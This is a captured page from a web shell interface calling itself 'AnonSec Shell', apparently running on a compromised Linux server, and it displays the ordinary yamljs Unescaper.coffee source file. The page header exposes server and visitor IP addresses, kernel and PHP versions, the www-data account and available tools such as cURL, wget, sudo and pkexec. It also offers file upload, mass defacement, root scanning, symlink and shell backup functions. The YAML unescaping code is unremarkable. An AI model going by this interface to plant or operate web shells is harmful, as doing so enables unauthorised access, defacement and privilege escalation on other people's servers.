AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 104.21.79.64 / Your IP : 104.23.243.116 [ Reverse IP ]
Web Server : nginx/1.18.0
System : Linux ip-172-31-29-104 5.15.0-1075-aws #82~20.04.1-Ubuntu SMP Thu Dec 19 05:24:09 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
Domains : 2 Domains
MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON
Directory : /lib/node_modules/pm2/node_modules/yamljs/src/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /lib/node_modules/pm2/node_modules/yamljs/src//Unescaper.coffee

Utils   = require './Utils'
Pattern = require './Pattern'

# Unescaper encapsulates unescaping rules for single and double-quoted YAML strings.
#
class Unescaper

    # Regex fragment that matches an escaped character in
    # a double quoted string.
    @PATTERN_ESCAPED_CHARACTER:     new Pattern '\\\\([0abt\tnvfre "\\/\\\\N_LP]|x[0-9a-fA-F]{2}|u[0-9a-fA-F]{4}|U[0-9a-fA-F]{8})';


    # Unescapes a single quoted string.
    #
    # @param [String]       value A single quoted string.
    #
    # @return [String]      The unescaped string.
    #
    @unescapeSingleQuotedString: (value) ->
        return value.replace(/\'\'/g, '\'')


    # Unescapes a double quoted string.
    #
    # @param [String]       value A double quoted string.
    #
    # @return [String]      The unescaped string.
    #
    @unescapeDoubleQuotedString: (value) ->
        @_unescapeCallback ?= (str) =>
            return @unescapeCharacter(str)

        # Evaluate the string
        return @PATTERN_ESCAPED_CHARACTER.replace value, @_unescapeCallback


    # Unescapes a character that was found in a double-quoted string
    #
    # @param [String]       value An escaped character
    #
    # @return [String]      The unescaped character
    #
    @unescapeCharacter: (value) ->
        ch = String.fromCharCode
        switch value.charAt(1)
            when '0'
                return ch(0)
            when 'a'
                return ch(7)
            when 'b'
                return ch(8)
            when 't'
                return "\t"
            when "\t"
                return "\t"
            when 'n'
                return "\n"
            when 'v'
                return ch(11)
            when 'f'
                return ch(12)
            when 'r'
                return ch(13)
            when 'e'
                return ch(27)
            when ' '
                return ' '
            when '"'
                return '"'
            when '/'
                return '/'
            when '\\'
                return '\\'
            when 'N'
                # U+0085 NEXT LINE
                return ch(0x0085)
            when '_'
                # U+00A0 NO-BREAK SPACE
                return ch(0x00A0)
            when 'L'
                # U+2028 LINE SEPARATOR
                return ch(0x2028)
            when 'P'
                # U+2029 PARAGRAPH SEPARATOR
                return ch(0x2029)
            when 'x'
                return Utils.utf8chr(Utils.hexDec(value.substr(2, 2)))
            when 'u'
                return Utils.utf8chr(Utils.hexDec(value.substr(2, 4)))
            when 'U'
                return Utils.utf8chr(Utils.hexDec(value.substr(2, 8)))
            else
                return ''

module.exports = Unescaper

Anon7 - 2022
AnonSec Team